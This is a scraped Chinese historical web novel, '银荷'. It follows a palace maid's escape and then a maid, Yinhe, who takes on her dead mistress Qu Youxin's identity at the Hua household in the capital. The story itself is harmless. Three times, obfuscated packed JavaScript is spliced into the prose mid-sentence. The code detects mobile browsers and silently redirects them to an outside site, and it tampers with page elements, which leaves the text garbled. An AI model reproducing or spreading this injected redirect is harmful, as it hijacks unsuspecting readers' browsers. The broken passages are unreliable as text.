《银荷》 1. 楔子 屋里暗得瞧不清人脸，两个人立在那儿，低语声像深谷中稀薄的雾气，慢慢沉下来，降入她耳中。 他说：“孤就把她交给你了——她，还有孤的儿子。” “属下明白。” “你在那儿等着，接到人，先顺江往东，百里后再改道，一路去矴州。到了，他们留下，你即刻返回。” “属下遵令。” 侍卫出门后，他拨亮案上的灯，紧靠她坐下。像以往一样，她只敢垂眼朝下望，地上一片晦暗不明。她知道，他的肩上，此时她挨着的地方，有一条龙张着五爪。——矴州，会是个什么样的地方？ “阿芫，”他突然开口，环上她的腰，将她拽到自己腿上。她微挣了一下，那只攥住她胳膊的手立马紧紧一钳，她赶忙将手心扣在小腹上，他轻柔地拉开，自己的手留在那儿，接着说，“刚才这个叫路进，我让他带两个人，一路护着你。矴州刺史姓曲——是我放在那儿的。等你到了，凡事听曲刺史安排便是。” 她点点头。 “只好暂时委屈你——不会太久，我要在诏书下来之前动手，事一成就接你回来。”沉默数息，他又说，“假若此次不成，总有一日我东山再起，那时候，我去接你们。信我，有朝一日，你的儿子定会登上大宝。” 天边刚泛一点青，她已装扮成一个小太监，在另一太监身后亦步亦趋。“吴葵，汪善，出宫采买。”门上的看看对牌，头一点。她就这样出了东宫，又出了皇宫，钻进车里。六年前进宫时，她以为自己会一直是个宫女，一直叫何芫，没想到，离开时却成了个叫汪善的太监。她多少觉得好笑。 那道长长的红墙越来越远。她的身子轻轻一颤，心倏地飞走。 她不会再回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892539|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她飞快换上身小厮的衣服，小心地扎好腰带。她已经有了几个月的身孕，数位太医验脉证实过。胎儿还很小，小到甚至都感觉不到，他们竟敢信口雌黄说是男胎。 登上大宝？ 她哼了一声。管他事成事败，此一件，绝不会顺他的意——她知道，肚子里不是一个可能像他的男孩，而是个女孩。不光是因为她的梦，不知为什么，她很清楚地知道，这就是女孩，一点儿都不会像他，但也不像她——她的女儿谁都不像，就是她自己。她一定聪明、勇敢……对，她会长成一个勇敢的姑娘。 何芫不禁露出笑，悄悄掀起车窗，让一缕风拂在脸上。太好了，无论如何，孩子不会生在宫墙之中。她甚至忘了眼前的危途。 这孩子的确不同一般——好像有什么在护佑着她和她母亲，经过一路的山高水险，最后，何芫平安到了矴州。 2. 客栈 矴州和勐州以古塔为界，塔以西矴州境内，多是崎岖小道，过了塔向东，路却突然变得宽整。盖因勐州是通南、北、西的要冲，官道上一年到头都有不少车马经过。 此处刚过勐州西界，周遭还是一派京城人所谓的“荒蛮”景致。这当儿，可容三驾车并行有余的宽道上，只有两驾马车一前一后靠路边行着。车里是前矴州刺史曲慕的孙女，小姐名叫曲由心，刚满了十七岁。 前头马车的帘子忽地掀开，一位少女探出脸，四下张一张，转头伸伸胳膊腿，说：“姑娘，得叔说得没错，出了矴州，往后就好走多了，咱们矴州哪里都好，就是路不平。” 曲由心浅浅一笑。这一笑风清月莹，可随即薄雾又氤氲了春山。 丫环心中自责：“此去京城，不知何年何月才能回来。我倒没什么，去哪儿都一样，姑娘怎么舍得下家乡？我该想法让姑娘高兴，可不能再说这种话了。” 曲由心生在矴州，这是第一次离开。她的祖父曲慕原是京官，因得罪了人，被参上一本，不轻不重安了几个罪名，贬去矴州。这差不多等同终身流放，曲慕带着家眷，再未踏回故土。第八个年头上，他的妻子过世，不到两年，他身染时疫死在任上，也被葬在了那片穷山僻壤。 曲慕死后，圣上念他多年恪尽职守，有意招其独子曲展回京。曲展虽喜读书，却是松下弈棋、雨后挥墨的名士做派，散漫自在惯了。他不愿做官，更不肯离开矴州，安心领了个司马闲职，每日依旧鉴书品云、赏画醉月。 若果能一直如此，大概也不失美满。不幸的是，父逝后不久，曲展的发妻亦遽然病亡，丢下一个女孩子。尽管无人接香火，曲展也未曾续娶，只独自教养幼女曲由心。谁料去年岁末，曲展突发恶疾，药石罔效，临去前他把由心叫到床前叮嘱一番，安排她投奔姑祖母。丧事刚了，由心就按父亲嘱托，只携了贴身丫环和家中两名老仆，自矴州奔往京城。 丫环便是适才说话那位，唤作银荷。 银荷不多大时便进了曲府，因为聪慧伶俐，做了由心的伴读丫环。由心的大丫环出嫁后，更是只剩银荷陪在身边。两个人几乎一刻也不分开——名为主仆，实似姐妹，既是师生，亦称挚友。此番离家，亏得有银荷和幼时养育自己的邬嬷嬷在旁宽慰，由心才勉强抑住了悲伤，不曾哭倒。 由心身子弱，再加上思父、离乡的忧愁，更提不起劲，在车里不是躺着休息便是半卧着闭目养神。银荷看了着急，想方设法把沿途风光讲得绘声绘色，指望能为由心解解愁闷。 进入勐州，路上渐渐热闹，时时都有或骑马或乘车的旅人交错而过。 这日，将至勐州东界，忽闻得得的马蹄声急敲，越来越近，银荷忙挑帘看，只见一行九、十人从后打马而来，为首的两三人骑着高头大马，气概非凡。 马群疾风般从车旁卷过，银荷艳羡不已，直看得呆了。平日里她最爱干净，这时候尘土扬到脸上也不在意，只随便扇了扇。 “什么人过去了？”由心好奇问道。 其实银荷并没看清那些人高矮胖瘦、是黑是白，只有个隐约的印象：是些衣饰华贵的青年男子。她本来为瞧个热闹，被小姐这么一问，倒有些害羞了，放下帘子，讪讪地说：“姑娘，是些挺威风的人，骑着大马披着大氅的，我看多一半像书上讲的马匪。” 由心微笑：“你可是迷了眼了，清平世界，好端端哪里来的响马？” 银荷见小姐几日来难得露了笑，有心逗她多说几句，便道：“那有什么，要是给我一匹马一把刀，我也能扮一个。”她抬起胳膊横在胸前，假装握了柄大刀，轻蔑地扬起下巴，粗声粗气地说，“此山是我开，此树是我栽，非要从此过——爷爷我管杀不管埋！” 由心果然笑得歪倒：“原来用功一场，净学了些没正经的东西。” 银荷不好意思地笑笑，过了一会儿，还是忍不住向往地说：“要是我们能骑马就好了，日行千里，可有多美呀。” “不止日行千里，还可能掉进沟里呢。” 银荷知道由心是取笑她儿时偷骑老爷的马，从马背上摔下的事故，撒娇道：“姑娘还没忘呢。那回老爷生了好大的气，要不是姑娘求情，说不定我都被打死了。” “父亲不过说说罢了。后来罚你不准用饭，我给你送吃的，他也知道，还让我多拿些。” 再没有老爷那么好的人了。银荷惆怅地想，忽地看到由心眼中泪意，忙找话来岔，问：“姑娘你说，姑老太太会不会很严厉？” 由心又笑了，说：“父亲的确说姑祖母对子女要求甚严。姑祖父虽不在了，后辈们倒不是全靠祖荫。不过我想姑祖母对孙辈是很和气的。” “姑娘可是有不少表兄弟表姐妹？”银荷赶忙问。 “这些父亲倒没和我细说过，好像是兄弟比较多，也有两三个姐妹。” “那我就明白了。”银荷做出恍然大悟的样子，“姑老太太家里有那么多表公子，所以时常来信，邀老爷带姑娘进京去走走。老爷就姑娘一个，当然轻易不得答应。老爷是这般打算：等到了姑老太太家，慢慢熟悉后，若姑娘能挑个合意的，最好；若表公子样貌稍微粗陋些，姑娘瞧不上，做寻常兄妹也无妨。故此先不说定，还有个退步处。” 由心早就面上飞红，板了脸道：“又是从哪本书上学来的，这种话也说得？无论哪位表兄弟，我都当心怀尊敬，也当自重避让，不然成什么了？” 便是由心不说，银荷此时也已后悔，虽是为姑娘逗趣，可也太亵渎了。她急忙道歉：“果真是我混说。姑娘最疼我，饶我这一遭，以后绝不了。” 由心岂不明白意思，伸手打她一下：“白教了你，还依样貌分亲厚，真没羞。” “我记得——‘结交在相知，骨肉何必亲。’样貌自然更不能算。姑娘的表姐妹兄弟，必定都不像我这样浅薄，姑娘多了他们作伴，能相处亲厚，岂不很好。” 由心轻叹说：“到底我没关系，即便去了，也和在家时一般，只是委屈了你。” “不会。我只好好跟着姑娘，管其他人呢。” 由心点点头，握住银荷的手：“父亲虽未明说，本来他要安排——反正我有主张，只是不知……”她就不言语了，目中犹含悲色。 银荷调皮一笑：“我懂了，姑娘是怕到了姑老太太家，我还这样少规少矩、没大没小，惹人笑话，给姑娘丢脸。姑娘瞧我罢，看谁多长一只眼，能挑出我毛病来了？” 由心不由也笑了：“你才见过几个人，京城大户人家里头的，恐怕哪个都多长着几双眼。” “让他们长去，我不怕。就是见了皇帝我也不怕的。” “等见到时你再说这等大话。” 说着说着，身后日头渐向西沉，又走了小半个时辰，碰到一座驿馆，一行人便停下休息。 一路上投宿之处都是些中等客栈，这里倒是难得一家大店：前后四进，左右三跨，一二十齐整打扮的小厮里外奔忙不停。——在要路上，客栈的生意十分兴旺。 赶车的李得已要了三间屋子，同店伙去牵马、卸车。邬嬷嬷想起还有一只包袱放在后头车上，让银荷去找，又怕站在风口，便先扶了由心往里院走。 没走几步，大摇大摆晃出来一位花花太岁，老大不客气地打量由心，恨不得眼睛能在她的帽帘上钻出两个洞。由心何曾受过这种侮辱，气得直抖。邬嬷嬷瞪了那人一眼，扶着由心快步走了。 银荷取了包袱进屋，邬嬷嬷便问：“你可见那挨刀的腌臜家伙不曾？” “什么家伙？”银荷诧异。 邬嬷嬷便向她骂一回。银荷恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他撩起袍子下摆抖抖：“不妨不妨，不要你赔衣裳。到了我家里，怎样的衣料随你捡了穿，也不使唤你做这些粗活。只要你惯会的——调调弦，弄弄管。” 姑娘冷笑着说：“我惯会杀猪，你家里要不要。” 双吉咧咧嘴，这姑娘身形好看，声音好听，直溜、脆嫩，新长出的小竹子似的。 葛全有愣一忽，又笑：“要，都要。你们小姐呢，喜好什么？” “你问不着！” 双吉听出她扭身要走。 不过葛全有拦住了。“我叫葛全有，随便打听，都知道我。我有话想对你们姑娘说，她现下要是不方便，我就先找你。” “没工夫，少和我充神坐庙。全有全无，我们姑娘都不认识。劳烦公子站开点儿。” “想认识容易。只要你肯，可有想不到的好处。” “我没这么大脸和公子结交。我看公子像个人才，我家老爷必定喜欢。若你有话，求见了我们老爷再讲。” “哦?是哪家府上？改日必备得厚礼，亲自去拜见你们老爷。眼下，咱们两个先近乎近乎。” 双吉听葛全有声音一变，急忙探头瞧，正看见姑娘躲得快，没被葛全有摸到脸。 这回姑娘真的是大怒：“我看你是茅坑边打铺，离死（屎）才近了。” 双吉愈发着急：虽说这姑娘不至于在葛全有手上吃了亏——听她一口脆生生的官话，像是京里来的，不知哪家，反正，就连公子爷家里，也找不出这么俏的丫头——可她受气，也令人不忍。她家人都睡着了吧，怎的还不来？ 可惜，公子爷不是怜香惜玉的性子。 正着急，双吉看见公子爷做个手势，大喜，冲上去说：“葛大爷，原来你在这里啊。我们爷在前头喝酒，请你去坐坐。” 3. 姐妹 银荷爬上岸，抄起一块石头，直直向葛全有走去。 葛全有怀抱半昏的玉人，想要轻薄，又有点儿不敢，心里又痒又怕，根本没听见身后的声音。 “咚”一声。由心张开眼，面前不是那张可怕的丑脸，而是银荷焦急的面孔，湿漉漉的，满脸上不知是水、是汗，还是泪。 银荷没事！她心里一宽。 银荷抖个不住，鞋也丢了一只，身上又是泥又是水往下嘀嗒，两人互相搀扶着找到马车。 “你快走呀！”银荷狠心抽打已累得疲惫不堪的马，终于遇上了赶来的李得。 人刚从天然险境逃脱后，遇到陌生人也如亲人一般，而若是路逢恶贼，遭了人祸，则会草木皆兵，对几乎所有人失去信任。银荷、李得便是如此。 这时回想，今早上被客栈伙计引错了路，在荒地里遇见刁民劫车，皆是葛全有那恶徒设计做下的，只因两日前他看见由心与银荷，心生歹意。可是，回想无用，他们也想不到要与谁算账，只盼能早早离开此处，别再被恶人缠住。 与焦灼等待的邬嬷嬷汇合后，一行人赶紧上了大路，恨不得一步不歇，一直飞到京城。 可是由心的身体却实在经受不住。看见李得，一口气一松，她昏睡过去。银荷兀自强撑了小半日，也躺倒了。天黑时他们终于来到个不小的镇子，找了所僻静客房住下，第二日一早便请了大夫过来。 大夫是个胡子花白的老头，看了由心银荷二人，也不说什么，只分别开了方子。又见他们人生地不熟，就在自家给煎好药，着人每日三次送来。 邬嬷嬷起初还怀疑他的医术，但镇上便能找到其他医师，也都是他的徒弟；后来看银荷吃了几次药后大有好转，也就信了，每天只等着药送来，服侍二人喝下，再求菩萨告佛爷几百次，企盼二人无恙。 银荷的病初时来势汹汹，有一两日都不曾清醒，身子烫得像火，呼吸又短又急，看着惊险万分。但退了热后，她便慢慢好起来，只是仍虚弱。而由心却是时好时坏，反复多日。 这天大夫又来，看了由心后神色一变，细细诊脉一回，沉吟不语。邬嬷嬷瞧见不对，悄悄将他请到外面，可望了大夫的眼睛，又不敢问出一句话来。 那大夫看邬嬷嬷手都在发颤，有些不落忍。不过他从医几十年，早已习惯生死，虽然可怜，却无法回避。他摇摇头道：“你们是外面来的，我便实说罢，这位姑娘没多少时候了。她胎中带病，先天不足，便是这次侥幸医好，病根仍在，总也不能长久。在下行医三十年，不敢自称医术如何，只敢说这周围确也找不到其他人能治。远处试试或许可以，就怕赶不及。” 类似的话，邬嬷嬷这些年已听过几回，不是全无准备，可是如今没有老爷，该如何…… . 由心在梦中，前尘往事好像叫人画出来了，一幅幅呈在她眼前： 最先看到母亲的笑脸。由心想：一点点小事就能让娘欢喜，可是因为我常常生病，她暗中淌了多少泪啊。 没想到爱笑的母亲去世了，那时的悲痛不敢回忆，她快快向后看去。父亲对她说：“我不愿你孤独伤心。”他转身唤来一个和她差不多年岁的女孩，“你可喜欢留着她做个丫环，陪伴左右。”她则拼命点头，害怕父亲改了主意。 那小女孩乍一瞧说不上是美是丑：一张圆中带尖、晒黑了的小脸，一双既怕羞又大胆、小兽般的眼睛。 她上去拉了她手问：“我叫曲由心，你叫什么名字？” 小女孩对所有问题都只摇头，但清亮的目光追着自己，似极盼能得到喜欢。 那天恰值荷花盛开，父亲说：“今后这里便是你的家，我们叫你银荷。” 从此后，始终有银荷陪伴在身边。 光阴如箭，她又看到自己跪在父亲床前。父亲说：“我无法再顾你了，身后诸事我已安排好，你去姑祖母处。” 她哽咽着答应，又问：“银荷可随我一同前往？”父亲便长长叹息：“你二人虽情深，但缘法不同，恐来日——”停了半晌，又似自言自语道，“此时又何必拘泥这些个。就一同去罢，你们两个在一处，相互扶持，我也好放心。” 听完这话，她心中安定，就要去找银荷，转头却见银荷和一个不认识的青年站在一起。她看了一会儿，不愿过去打扰。正不知该如何时，猛然又看到母亲在不远处，正朝着她微笑。 由心似喜又悲。重见母亲，了此病苦，自是欢喜，可是，银荷…… 正在迷茫间，听到有人叫“姑娘”，由心一怔：“银荷在哪儿唤我？对了，我还是在梦里。”她望向母亲，母亲点点头，她便明白过来，打定主意，朝那呼唤的声音所在走去。 由心醒转过来时，银荷和邬嬷嬷正坐在床边。银荷立即抹掉眼泪，喜道：“姑娘醒了，可想吃什么，我去看看。” “等等，”由心拉住银荷的手。“刚刚，我梦到咱们小时候。那时我总想有个姐妹，就来了你。我心里头一直当你是亲妹妹，以后你就叫我姐姐吧。” “姐姐——” 由心又说：“我想着将来无论如何，好歹咱两个彼此是个依靠。可如今我——我去见爹娘，别无牵挂，只是不放心你。” 银荷本来见由心容色安宁、话音清楚，以为果真就好了，听到这话，大惊失色。 由心说：“别伤心了，咱们以前有过多好的日子。” “以后也要一样。”银荷急忙说。 “以后你也一样，还要更好。不过我不能多陪你了。总归会有一别，别难过，我一点儿都不怕，只要你再答应我一件事。” “不行，不行。你会好的，邬嬷嬷你快劝劝姑娘。”银荷着急大喊。 邬嬷嬷流泪道：“你先听了姑娘的话。” 这时由心早已不支，用力拽着银荷，喘息着。 银荷不忍她再强挣，泣不成声道：“姐姐，我都答应。” “银荷，好妹妹！”由心亮闪闪的眼睛望着银荷，慢慢说，“可惜咱们女子，常常身不由己。我这一去，不能丢下你漂泊无依。好在不必另寻安身之所，你便仍去花家，——不是我硬要为你安排，我自有一番道理。你也切莫觉得寄人篱下，只好生过着，将来……” 银荷愣住。 由心微微笑着：“我要你替我去花家，见姑祖母。要你作为曲家女儿去。” “这可不成！”银荷又急道，“我可以替姐姐做别的事，无论什么，但是我怎么能——” “银荷，”由心攥紧她的手，“我在梦里有一种感觉，现在没法细说，你相信我。况且这也是现下最好的法子：姑祖母早盼我去，她已年迈，若听到消息伤心致病，我如何过意。你此去，一则可为我全了孝心，二则你可得庇护，我也就心安了，正是两全之法。倘若咱们掉个个儿，你不也是这样想？原本你我就一个人似的，如今怎么不算？你向来通达，只要守着你的本心，在哪里、做什么，都一样。” 听到由心用尽气力讲出的肺腑之言，银荷唯有点头应允。 由心另一只手摸出一块玉石，塞入银荷手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892541|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“这个你留着带在身上，算我为你讨个平安。这原是母亲的，她若知道我认识了你，一定也为我喜欢。你不用常常念我，从此以后银荷是你，由心也是你。替我照顾好自己，替我好好活下去，你要像以前一样，快快乐乐的，这样我才高兴。” “你放心，姐姐……”银荷哽咽道 “帮我把得叔叫进来，我还有几句话要对他说。”由心放开银荷的手，疲倦地合上眼睛。 “姐姐……”银荷再也忍受不住，叫进李得，又跑去旁边屋子埋在被中大哭一场。 这以后，由心就未从昏迷中再醒转。银荷握着她的手，一时絮絮地向她说话，一时又默默在心中祈祷。可叹世上最最纯洁、真挚、无私的愿望也难免有落空之时，第二日早晨，由心睁眼瞧瞧银荷，露出一点笑容，就此去了。 为由心最后一次打扮好后，银荷无知无觉，呆呆坐着。直到他们过来唤她“姑娘”，她才回过神。以前所有人都喊她银荷，现在邬嬷嬷和李得却立在她面前，请她拿主意。 银荷依稀感觉当时葛全有还有一口气，她最后悔的便是没砸死了他。她咬牙切齿道：“去找那狗贼，我要他给姑娘偿命！我敢上公堂，汤里火里我都不怕，在哪里我也有理！” 邬嬷嬷坐下，斟酌一番道：“如此一来你又怎么办呢？姑娘就是担心，才千万嘱咐过你。如今你要为姑娘，本没错，可是反倒辜负了姑娘为你的心。我看还是按姑娘的意思，你先上花家去。” “我不能就这样丢开姑娘。”银荷扑在邬嬷嬷怀中，任由眼泪流淌。邬嬷嬷也陪她一起哭起来：“不是我要拦着，要是能为姑娘出口气，我哪怕豁出命去。——只怕姑娘在泉下难安。我已经负了老爷的嘱托，不能再负姑娘。你从来听姑娘的话，就再听最后一次。你若有个什么，来日我可怎么去见恩人们呐。” 邬嬷嬷少时在矴州遇事，恰被曲慕所救，将她收留在府中，从此后她便衷心耿耿，甚至不肯嫁人，只把曲家人当作自己的家人。由心幼时起便由她照顾，她一心总想着要为由心好，而现在，又依由心的遗愿，开始全心全意替银荷着想。 她一时擦干泪，又说：“前头我和李大叔两人商议过，咱们去告状，官府也不是立即就能拿人，万一那狗贼倒打一耙，往姑娘身上泼脏水？难道姑娘死后还不得清静，要让贼人的脏嘴乱嚼？再者，别说咱们这么几个人，就是京里派来的官，还‘强龙不压地头蛇’，就怕最后也奈何他不得。” 李得亦在一旁劝说道：“要姑娘入土为安吧。还是先去花家，找个靠山，再图后计。” 银荷本就是个不谙世事的丫头，只道冤有头债有主，害人须得偿命。依她自己，痛痛快快杀了葛全有最好，但官府是要如何实施她并不懂。李邬二人来回劝她，她也只得把这个心思暂且搁下，一切都交由李得操持安排。 那位老大夫再没想到有人会把小姐充成是婢女。他潜心医学，少问世事，只道大户人家自也有这般娇养如千金的丫环，并不以为异。何况由心是他亲自医治，夭亡虽可惜，但也不反常，他早就料到了。 由他出证实，便是按照病死一个丫环报给官府。这种事情没什么大不得，也无人过问，李得和邬嬷嬷怕引起怀疑，不敢厚葬由心，只好找了间寺庙，简单做了法事，将由心葬在庙后。 银荷失去了世上最好的朋友，最亲的姐妹，仅有的亲人。她跪在低低的坟头前，为由心祭了酒，悄声念道：“姐姐，你安心去吧，我会好好的。你等着，等那恶人偿了命，我再来带你回家去。” 4. 花府 花府上，大丫环邀月正忙着奉茶。 自一个月前，花家老太太收到矴州来信，得知娘家侄儿病逝，侄孙女已启程来京，老太太的心就没放下来过。 左等右等，终于在昨日又得到信。今天一大早，天还没亮，老太太就打发车子去城门外候着了。 这时候，媳妇、孙媳妇们已请过了安，老太太没发话，谁也不敢走，都等着与曲家表小姐见面。 喝完两盏茶，该说的话俱已说过。邀月看到了老太太平日打盹的时辰，劝道：“先歪会儿吧，曲姑娘她们走西门进城，要到这儿且早呢。” 老太太同意去休息，犹自不放心，让人给管家媳妇传话，一定要她待在门口，曲姑娘一到就立即领进来。 邀月又说：“几位太太也该回去歇一歇。” 老太太笑了：“我也真糊涂，亏你提醒。她看我们一屋子的人，挨审讯似的。晚些再见不迟，先认识了姐妹，自在些。” 于是老太太去休息，三位太太各自回房，厅里就还剩下两个年轻媳妇和四位大姑娘。这是老太太的两个孙媳妇，两个孙女，以及孙女的两位表姊妹。姑嫂六人围桌坐着说话，倒是其乐融融的样子。 大奶奶郑瑷宁近日又犯了失眠症，为打起精神，用力按着眉心。 大太太的侄女、表姑娘郭诗钰见了说：“姐姐这一向还是睡不好？上次的香若好用，我再给你配些。” “那还得多加沉香。不过上等沉香难得，次的就欠点儿意思。”瑷宁道，“上回那些虽没用，但味道我果然喜欢。我在屋里时总燃着，看见你表哥要下值才拿开，敞窗通风。——他闻不惯，说家里乱七八糟的香味，吃饭时败坏胃口。” “是我没调配好。”诗钰低着头说，“我回去换几样，再请嫂子试试。” “我随便说说，你也太当真客气了。外头什么买不到，哪有让客人辛苦的道理。”瑷宁嘴边半噙着笑。 二奶奶韩映雪这时说：“待会儿咱们又多一个姐妹了。昨天听到信我就等不及了。只是这曲妹妹实在可怜，大老远来了这里，不知习不习惯？” 瑷宁也叹息：“其实要论起来，京城才是她的家乡，这也算是回家来了。” 二姑娘花瑛道：“不知这位表姐是不是会像宝画表姐或是宝屏表妹。宝画表姐可漂亮哪。” 映雪说：“我还没看见过宝画妹妹呢。” “早两年她爱来玩。”瑷宁说，“后来大了，各家有各家的事，还老厮混在一起吗。” “毕竟是姐妹。”映雪又说，“这时候该把屏妹妹请来，她们堂姊妹自然更亲了。” “来日方长，咱们这些人就够聒噪了。”瑷宁笑道，又说，“舅老太爷当年也是才子状元，这位表妹没准是大才女。” “那好哇。”花瑛说，“可惜她没生在京里，不然一准能比下任姑娘，第一才女就在咱们家了。” 映雪便笑着说：“任姑娘有那样厉害，我不信，你们这些人竟都比不了她？” “我听人说卫公子赞她的画有‘摩诘之风’呢。”花瑛道。 “三妹未必就没什么风？”映雪笑指三姑娘花瑶，“我瞧瑶儿画得多好啊。” 花瑶本正呆呆听着几人说话，冷不防被提到自己，颇有些慌乱无措，红着脸摇头：“我不过画了几天，还差得远。” 瑷宁说：“三妹妹就是太自谦了，可见是有真本事。你哥哥他们不都说你画得好？你们喜欢画画，我就去打听，谁教得好请来家里。有个好老师，还怕学不成大画家？” 花瑶感激又羞涩地看着大嫂，一时没想好要还是不要。 另一位表姑娘是二太太的外甥女，名叫戚晚。她一直安安静静没开口，这时说：“我听说有位孟翰林，先前曾教卫公子画画，任姑娘也得过他指点。那位老先生要先看过三幅作品，才决定能不能教。两位妹妹都画得这样好，一定没问题。若是请了他来，我也跟着长长见识。” 花瑛已经转开头，只管去和嫂子映雪说话。 花瑶正坐在戚晚旁边，听到这些，脸更涨红了，小声地说：“我随便画两笔解个闷儿罢了，哪里就当真学起来。我不想学。表姐画得比我强许多，去请他才好。” “我并不是。”戚晚一下子臊得脸通红，也不说话了。 瑷宁见状，连忙岔开。她虽讨厌戚晚，但这当儿要是姐妹认真拌起嘴，谁再掉几滴泪，她这个大嫂就更难办了。 其实瑷宁最近休息不好，多一半是因为心里不能安定，心里的不安定又多一半是为郭诗钰、戚晚两人起的。 老太太不止一次夸过这两位表姑娘。疼爱小辈是人之常情，本不算什么。可老太太还没个重孙子呢，怎么可能不盼着。瑷宁觉得自己的多心绝非毫无根由。 自然，两位表姑娘不是没来没历的人：郭家现今虽落魄了，郭诗钰又是旁支庶女，到底是大太太正经的族侄女；另一个是穷秀才的女儿，父亲死后，跟着改嫁的母亲，也进了个殷实人家。 两人正是老太太喜欢的清白人家的闺女。可按说，清白人家大都有骨气，不愿意好好的女孩儿给人做小；就算家里穷点，有两位太太帮忙，什么事不能解决？至少为姑娘们找门好亲事易如反掌。 谁知，两位太太却先后领她俩来花家长住下，很难让人不作他想。 何况两人确实长得千娇百媚，成日“嫂子”长“嫂子”短围着她献殷勤，瑷宁实在是心口发堵。 不过她相信自己的丈夫，知道花沛眼下未生二心，但也只是“眼下”。只有千日做贼，哪有千日防贼，瑷宁到底不痛快。 而现在，嫌不够热闹似的，还要再来一位表姑娘。 当然，这位表姑娘不同，是老太太的娘家至亲，差不多相当于又一位小姑。那也不好应付，谁晓得这姑娘是什么脾气。姐妹间要有个厚此薄彼，会不会又有谁闹意见？ 瑷宁正暗自叹着，突然院子里的小丫环急急走进来报：“曲姑娘的车子到门口了。” 几人忙起身，纵然衣服并没乱，也叫丫环整理整理。 老太太这时被邀月搀了出来，也不坐下，就立在厅中等着。众人之中，没有谁见过老太太这个样子，一时间大家不由都紧张起来。这里头好奇有之，同情有之，担心亦有之。 好奇曲姑娘会是什么模样；同情她无依无靠、远道投亲；担心的则是怕这姑娘无甚招人稀罕之处，令老太太落得失望——甚至或许有心思狭促的，却巴不得如此，好瞧热闹。总之，当管家娘子进门时，所有人的眼睛都齐刷刷落在她挽着的女孩儿身上。 老太太已不管不顾搂住了那姑娘，连声说：“像，像……”是想起了年少时的弟弟和侄子。 其他在场之人皆是小辈，未曾见过曲氏父子，自然想不出二人当年是怎样的大好才貌，但此时俱已看清这位曲家女儿确实秀色夺人。纵使经历长途跋涉，略染疲惫之色，也掩不住天然一段芳姿：影如风摆新柳，娉娉袅袅，宜动宜静；目似月笼澄潭，盈盈脉脉，难写难描。 大家眼看到，心赞到。要说府中目前这几位姑娘也是无不出众，在一起花团锦簇，散开来各有千秋：二姑娘娇，三姑娘柔，两位表姑娘一个倩丽大方一个妩媚含蓄。偏生这新来的表姑娘还能美出别样，清雅中透一抹明媚，明媚中多一丝宛转，宛转中又添一点生动。谁知那矴州是何等样的山水，竟能养出这般的人儿！ 老太太拉住银荷，不知怎样心疼才好，好一时才想起坐下，搂她坐在身边，含泪说：“早几年我就想把你接来了，你父亲却不允，他也不肯回来看看。还有你祖父，就算和你伯祖父有疙瘩，这么多年哪有解不开的。唉，如今姊弟三人里面就剩了我一个。曲家子侄里面，我最喜欢你父亲，他竟也……没想到一别二十多载，我竟再没见到。” 在银荷眼中，这是一位慈爱又不乏气度的老人。要是由心姐姐还活着，这便是在世上她最亲的亲人了。银荷心想，喉咙一下子哽住了。 “父亲也一直念着姑祖母。只是母亲是矴州人氏，不愿离开故土。母亲去后父亲始终不得开怀，他曾说：‘我虽记挂京里的亲人，但回去的心思却越来越淡了。我在矴州多年，又成了家，不能算做异乡孤客。况你母亲家中已无其他人，我不能再离开，丢下她孤孤零零。’父亲原先是想要送我回京，只是我也不忍父亲孤单一人，愿陪在父亲身边，略微尽孝。如今姑祖母疼我，我便把这里当作自己的家。” 老太太就擦泪笑道：“对，正该如此。你和你父亲都对。我也不是真埋怨他，便是先前有点儿，看见你也不怨了。我知道你是个好孩子，别伤心了。来，先见见你嫂子、姐妹们。” 于是瑷宁、映雪和几位姑娘围上前来，挨个与银荷相认。各人叙了姓名年岁，姐姐妹妹称呼着。大家又向银荷问了些话，她均按照由心语气一一作答。 众人瞧她比实际年龄似还显着小些，却已行止有度，说话间语调轻柔，情真意切，也并不顾影自怜，实是位教养很好的少女，与京城闺秀一般无二；且她举止中更有一派天真，便是偶有不大合规矩处，也丝毫不显生硬粗鄙。谁也不敢说这样一位姑娘还有欠缺，大家惊叹之余，再无挑错的心思。 说了一会儿话，老太太想着赶路辛苦，就叫丫环织雨带银荷先去休息。 织雨知道老太太已选了自己服侍表姑娘，又亲眼看到这位表姑娘品貌无双，心里很欢喜，一路上说：“姑娘，慢些，留神脚下。咱们这是往清圆居去，要走几步。以后姑娘住在那边。虽离老太太稍远些，但清净，在咱们家也算是顶好的地方了。” 银荷只觉得这府中处处都好。从外面看时，层楼叠榭，幽深壮丽。待进来后，方知内中犹有大丘壑。前院屋宇之气派轩昂毋庸赘言，更妙在举目之内皆是清樾，若隐若现又遇花香，楼阁众多却 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“这个地方倒让我想起了过去家中时，我和……”银荷差点儿说出姑娘二字，赶紧住口，见织雨还等着听她说，顿了顿又说，“过去我身旁有个姐姐，我们两个常在池边亭子里下棋。可是来时路上她生病故去了。”银荷说着就红了眼眶。 